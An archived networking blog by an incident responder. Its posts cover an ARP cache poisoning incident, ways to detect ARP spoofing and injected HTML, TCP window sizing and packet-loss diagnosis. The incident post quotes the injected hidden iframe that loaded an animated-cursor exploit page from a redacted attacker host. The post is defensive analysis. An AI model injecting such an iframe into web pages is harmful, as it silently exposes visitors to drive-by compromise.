Neil Carpenter's Blog : Networking

Detecting ARP Spoofing Attacks

neilcar — Fri, 06 Jul 2007 00:20:58 GMT

After investigating an ARP spoofing incident recently, I started thinking of how we could easily ferret out this sort of information when responding to a potential incident.

In this particular case, there were two important parts of the attack:

ARP spoofing forced all traffic bound for the default gateway to be funneled through the infected machine, and
HTTP proxying allowed for the injection of malicious code in HTML documents.

ARP spoofing would be easy to detect and/or rule out if you happen to know the MAC address of the default gateway off the top of your head as you could just look at the local ARP cache ("arp -a" at a command prompt) to make sure you had the right one; however, I'd suspect that most people wouldn't have that information easily at hand.

Another approach that might work is to:

Start a network capture.
Clear the ARP cache of any entries for the default gateway ("arp -d 192.168.0.1").
Initiate a connection to something on the other side of the default gateway ("ping microsoft.com").
Stop the capture and look to see if you got more than one ARP response when you ARP'd for the default gateway.

This approach is messy and it makes the assumption that the malware responds to ARP requests rather than just spamming the hosts on the subnet with gratuitous ARPs. The remaining approach would be to do what we did in this incident -- take a network trace of general network traffic and look for the excessive gratuitous ARPs coming from the infected machine. (I'd also suspect that most IDS systems would catch this -- if you were feeling lazy, you could probably take the network trace and feed it through Snort in offline mode...)

I had an epiphany about the second part, detection injection of malicious code in HTML docs, while I was having a romantic dinner over the weekend. Fortunately, my significant other is used to this sort of behavior and she didn't even roll her eyes when I asked if she had a pen and paper so I could write it down...

The epiphany was that the best way to find injected code was to compare a suspicious document with a known-good document. Of course, the problem is finding a known-good doc to compare to but, with a bit of thought, I came up with an additional insight -- an attacker couldn't inject a payload into a doc downloaded over SSL. So, I think the following would work nicely:

wget http://www.microsoft.com/default.aspx (possibly not the _best_ test page, but it'll do for our example)
wget https://www.microsoft.com/default.aspx
Diff the two documents and look for obviously injected code.

Unfortunately, the two copies of default.aspx, in this example, will have minor differences but nothing so obvious as an <iframe> pointing somewhere else.

I'm open to other approaches, though, and I'd love to hear from folks who have other ideas.

ARP Cache Poisoning Incident

neilcar — Thu, 28 Jun 2007 16:53:00 GMT

I recently worked on an interesting incident response with several of my colleagues. The problem, as defined by the customer, is that the following code is being injected into some websites (both external and internal to his environment) that his users are surfing:

<iframe src=http://<redacted>/ 123.htm width=0 height=0></iframe>

The page referenced (123.htm) includes a link to a .jpg file that exploits the animated cursor vulnerability in MS07-017 and some additional obfuscated javascript. The effect of this is that an unpatched machine surfing to any website (cnn.com, for example) would load the specially crafted .jpg file and execute code of the attacker’s choice.

At first, we thought this was being injected by a browser helper object or something similar on the client machine. There was no indication of anything malicious running on the client machine based on the data we looked at. We took a network trace from the client machine and saw that the iframe was being returned across the network. This would indicate that either the attack was originating in an NDIS driver of some sort (*) or that it was originating on his network.

Fortunately, the customer was able to mirror the client machine’s port on his switch and run a network trace from the mirrored port. In that trace, we _also_ see the iframe being returned across the network, apparently from the web server. This was a firm indication that the attack was originating on his network.

Looking back at the network trace, we saw a large number of gratuitous arp packets for the IP address of the default gateway. The MAC address that is being returned as corresponding to the default gateway is for a Compaq NIC(**); however, the default gateway is a Cisco device with a different MAC address. Based on this, we determined that this machine was mounting an ARP cache poisoning attack (***) to perform a man-in-the-middle attack and inserting the iframe into HTTP communications where the response was an html doc.

When we took this one machine off the network, everything returned to normal. This was a good sign that we were headed in the right direction.

We gathered further data off of the compromised machine. Based on that data, we can see that the machine has had winpcap and other software installed. Winpcap and the other software allows the attacker to perform the ARP spoofing, routing all the traffic destined for their default gateway through this machine first, and to insert the iframe into HTTP responses that include HTML documents.

This incident is very interesting to me because it marks the first time I've seen ARP spoofing used in an automated way like this. Apparently, there are at least a few worms on the loose that do this (Worm.Delf.fs, specifically) but, so far, they have had low volume. This type of attack definitely ratchets up the importance of installing the latest security updates -- in this case, an unpatched machine could have been compromised even by surfing to an internal website.

(*) My reasoning here is that Netmon plugs into the network stack fairly low. In general terms, it looks like this:

IE --> Winsock --> TDI --> TCPIP.SYS --> NDIS --> Hardware

The Netmon Agent sits between TCPIP.SYS and NDIS on NDIS’s upper edge. For something to show up in a network capture, it would have to originate either in NDIS or on the network.

(**) Ethernet MAC addresses are divided into two parts. The first three octets (00:50:8b in this case) are identifiers for particular manufacturers (Compaq in this case) and the last three octets are a unique identifier. The list of vendor identifiers can be found here -- http://standards.ieee.org/regauth/oui/index.shtml.

(***) ARP cache poisoning references:

http://en.wikipedia.org/wiki/ARP_spoofing

http://www.watchguard.com/infocenter/editorial/135324.asp

http://www.grc.com/nat/arp.htm

As noted in the Wikipedia article, we could have used static ARP entries as mitigation if we hadn’t been able to quickly identify the machine that was staging the attack.

SMB Perf articles

neilcar — Tue, 26 Oct 2004 18:13:00 GMT

I've been working a lot with file sharing performance, and I'm trying to write a few essays on those experiences. The first, on SMB Performance, is up now. When I have some more time, I'm going to write a bit on the impact of packet loss on SMB connections on a WAN link...

Quick Figuring Optimal TCP Window Size

neilcar — Tue, 26 Oct 2004 17:40:00 GMT

There generally isn't a single correct way to figure out the optimal TCP window for an interface since you're probably connecting to different hosts across different links at different latencies; however, you can roughly guess what the optimal window would be if you're only primarily worried about your communication with one other host (or, perhaps, one other site). First, you'll need to know the latency and the throughput available between you & the remote host. To get the latency, ping the remote host and take the average response time. For the throughput, take the slowest link between you & the remote host (ie, you might both be connected to 100Mb/s Ethernet, but there is a 1.5Mb/s WAN link between). If the slowest link is asymmetrical, use the faster of the two speeds -- for example, on an ADSL connection that was rated as 1.5Mb/s down and 384Kb/s up, use the 1.5Mb/s speed. (If both ends are on DSL, use the lower speed as this will always be the limiting factor.)

Once we've got these two numbers, the normal formula used to calculate optimal TCP window is bandwidth * latency = window. Remember that throughput is measured in bits per second whereas our TCP window is going to be configured in bytes per second. Divide the throughput by 8 to convert bits per second to bytes per second.

So, if we were using a 1.5Mb/s ADSL link with 70ms of latency, our calculation would look something like this:

(1.5*1024*1024/8)bytes/second * .07seconds = ~13763bytes

So, on this link, a 13KB TCP window would work well. Since the default TCP window for Windows 2000/XP/2003 is 16K (or more), there would be no need to change the window on this client; however, if either the throughput or the latency was higher, we would probably benefit from a change.

Finding Retransmits in Ethereal

neilcar — Wed, 02 Jun 2004 20:30:00 GMT

With the full version of Netmon, it's relatively easy to find retransmitted packets with the expert; however, in Ethereal, it's not quite as clear...

Ethereal supports analysis of TCP sequence numbers to find retransmits & do other neat things; however, the default is to turn this off (because, I would guess, it will increase load times on captures). To turn it on, go to Preferences, then find the TCP protocol & put a checkbox in the “Analyze TCP sequence numbers” box.

After this is done, Ethereal will display [SEQ/ACK analysis] under TCP for frames where meaningful analysis is possible. To filter for retransmits, use 'tcp.analysis.retransmission' for a filter. There are some other nice attributes here -- for example, to find packets where the delta between the data & the ACK is 180ms or greater (possibly indicating a delayed ACK), try a filter of 'tcp.analysis.ack_rtt>.18'. To find zero-window issues, filter on 'tcp.analysis.zero_window'.

Network Sniffing Tools

neilcar — Tue, 01 Jun 2004 23:51:00 GMT

Posted on my favorite network sniffing tools.

Categorizing Packet Loss

neilcar — Tue, 01 Jun 2004 20:45:00 GMT

I've quite frequently run into situations where I've been asked to diagnose packet loss based only on a network trace. While it is almost impossible to find an exact answer, a network trace can provide some valuable clues about the cause of the packet loss.

The first step, if possible, is to get network traces from both endpoints in the conversation (and...if it's your lucky day...from any intermediate points where a trace can be run). Once you have these, find a retransmitted packet in one of the traces, then filter all the traces to just that packet. (In Ethereal, try a filter of tcp.seq== on all of your traces.) Compare at each point to see whether particular packets are present or absent -- based on this, you can start to build some idea of where the packet might be lost.

The next step is to examine the frequency of the packet loss. In my experience, there are two frequencies that you will see most often -- a fairly random distribution of retransmissions through the entire conversation, or retransmissions only on certain packets (usually leading up to the end of the connection as the packet is retransmitted up to tcpmaxretransmits).

In the first case, the most common cause is a network segment or device that is either over-capacity or losing packets for another reason (noisy dial-up link, for example). Finding the correct link and/or device becomes a matter of either taking traces at each possible hop or, alternately, employing a process of elimination by using different endpoints to test each hop. Depending on the situation, the pathping command may also show at which hop the loss begins.

In the second case, you will usually see a session that runs fine until a certain packet is transmitted. At this point, that packet is never received by the other endpoint and, after a number of retransmissions, the connection errors out. The things to look for here are:

Size of the packet. If all of the preceeding packets in the connection have been smaller and the first full packet is dropped, then you are probably looking at an issue with a black-hole router.
Data in the packet. In a number of cases, I've seen heuristic scanners (usually anti-virus software implemented as filter drivers) that believe they recognize an objectionable pattern in a packet and, therefore, silently discard it. Try removing anti-virus software, as well as any other 3rd party filter drivers.

This posting is provided "AS IS" with no warranties, and confers no rights.